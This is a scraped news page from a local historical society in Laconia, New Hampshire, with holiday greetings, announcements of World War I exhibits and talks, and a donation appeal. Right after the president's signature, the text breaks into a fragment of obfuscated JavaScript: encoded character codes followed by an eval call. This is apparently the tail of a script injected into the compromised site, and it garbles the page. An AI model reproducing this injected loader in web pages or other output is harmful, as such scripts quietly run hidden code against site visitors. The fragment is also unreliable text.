History of Gunstock Program
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Holiday Greetings!
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All of us at the Laconia Historical and Museum Society would like to wish you and your families Happy Holidays and a Happy New Year!
2018 was a very fun and successful year and we thank everyone who was a part of it in some way – whether by joining us at programs, viewing our exhibits, volunteering, or by contributing financially through memberships and donations. We’re very excited to see what 2019 brings and look forward to sharing it with you!
Stay tuned to our website and Facebook for announcements regarding upcoming programs and events. In the meantime, please visit our current exhibit on the history of Gunstock in the upper gallery of the Laconia Public Library.
Have a safe and happy holiday season and we’ll see you next year.
Sincerely,
Pat Tierney
Executive Director
Laurel Briere, M.Ed.
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LACONIA —The Laconia Historical and Museum Society will open an exhibit, “Laconia in World War I,” on the Upper Level of the Laconia Public Library, at 6 p.m., Tuesday, Oct. 23.
After the Cunard Liner, Laconia — named for this city — was sunk by a German U-boat, Feb. 25, 1917. President Woodrow Wilson and the United States Congress agreed that this act deserved a declaration of war, issued, April 6, 1917.
Enough was enough. The City of Laconia had lost its namesake steamship and the Honor Roll at Veterans Park reflects those local soldiers who made the ultimate sacrifice.
Laconia stories, letters, and objects from the War to End All Wars will be displayed.
The exhibit, which runs through December, is free and open to the public, and may be viewed during normal library hours.
For further information call 603-527-1278, e-mail lhmslpl@metrocast.net or go to www.laconiahistory.com or Facebook.
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Under the auspices of the Laconia Historical and Museum Society, a gathering of local carolers and young people will present a program at the Laconia Public Library Upper Gallery on Monday, Dec. 10, at 6:30 p.m. The event is free to the public and will feature a number of talented vocalists and familiar tunes of the season.
The program will also usher in the final week and opportunity to view the “War to End All Wars” exhibit, also in the Gallery.
For further information, go to Facebook, call 603-527-1278.
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The Laconia Historical and Museum Society will present “Letters from the Front” at 7 p.m., Monday, Nov. 19 at Rotary Hall in the lower level of the Laconia Public Library.
Readers and historians will reproduce the thoughts and feelings of local soldiers, sailors, Marines and nurses, and will include photos, graphics, and readings from a number of Laconia perspectives during World War I.
The program continues the society’s series on the World War I experience and Laconia residents who served — complementing its current 100th anniversary WWI exhibit located in the upper level Gallery of the Library.
Program is free and open to the public and refreshments will be served.
For further information, visit Facebook or call 527-1278.
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Our Water Street property continues to need attention. Chief issues are ancient HVAC, electrical and plumbing needs which need to be addressed. We ask for your assistance to help with some of these building needs. Your contributions will also help the Society to continue to present quality programming. In 2018, LHMS is planning several events to honor the city of Laconia in its 125th year.
How can you help? Please consider making a donation toward operating expenses and Society needs. Make a donation and also think of us in your estate planning. Donations can be a one-time payment or consist of small monthly payments which can add up to a substantial annual contribution. We are happy to help you arrange a payment plan to make your giving easier. Can we please add your name to our list of generous donors this year? Please mail your donation to LHMS, PO Box 1126, Laconia, NH 03247.
Thank you for your generous donation and support. Please take a moment to mail your donation today!
It is support from people like you that will help to keep the history of this great city alive for generations to come.
Pam Clark, President ,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(/*674867468*/t);
Thompson Ames Historical Society and LHMS Annual Joint Meeting, Oct. 15
GILFORD — Thompson-Ames Historical Society will host members of the Laconia Historical and Museum Society and the general public at the old Meeting House in the Gilford Village District on Monday, Oct. 15 at 7 p.m. This yearly gathering is held every October in either Laconia or Gilford and has proven to be a popular storytelling event.
The evening program will feature a historical overview of the Meeting House as well as a tour of the nearby Gilford Grange. Both of these buildings have been preserved and maintained by the Thompson Ames membership.
A short presentation is planned on the early days of this region as part of Gilmanton before Gilford was chartered in 1812. A closing open discussion will be held as to why historical societies continue to be relevant nationwide.
Admission is free of charge, with parking for the Meeting House directly across the street. Refreshments will be served.
Further information, call (603) 527-1278, visit www.laconiahistory.com or lhmslpl@metrocast.net.
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Celebrate Laconia 125th Anniversary
Note: The ending date for the “Celebrate Laconia 125th Anniversary” exhibit has been changed. The exhibit will close by Sept. 7 instead of Sept. 21, to accommodate the annual show of the Lakes Region Art Association, which will open on Sept. 10 in the gallery space on the Upper Level of the Laconia Public Library.
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‘Lakeport With Photos Through the Ages’
The Laconia Historical and Museum Society will present a talk entitled “Lakeport With Photos Through the Ages” on Monday, Sept. 24, at 7 p.m. in the Leavitt Park Clubhouse at 334 Elm St.
Co-sponsored by the Lakeport Community Association and the Leavitt Park Association, the program will highlight selected images from the almost 200 photos contained in the yearly calendars published annually by the LCA since 2000, with the exception of 2004 and 2010. Most of these images have not been published elsewhere.
A number of local historians will be on hand to comment on the photos as they are screened.
In view of their involvement in the production of the calendars, as well as their dedication to Lakeport history, the program is dedicated to the memory of Bob and Anita Fortier, Wanda Tibbetts and Armand Bolduc.
The program is free. For further information, call 603-527-1278, email lhmslpl@metrocast.net, or visit www.laconiahistory.com.
We hope to see you there!
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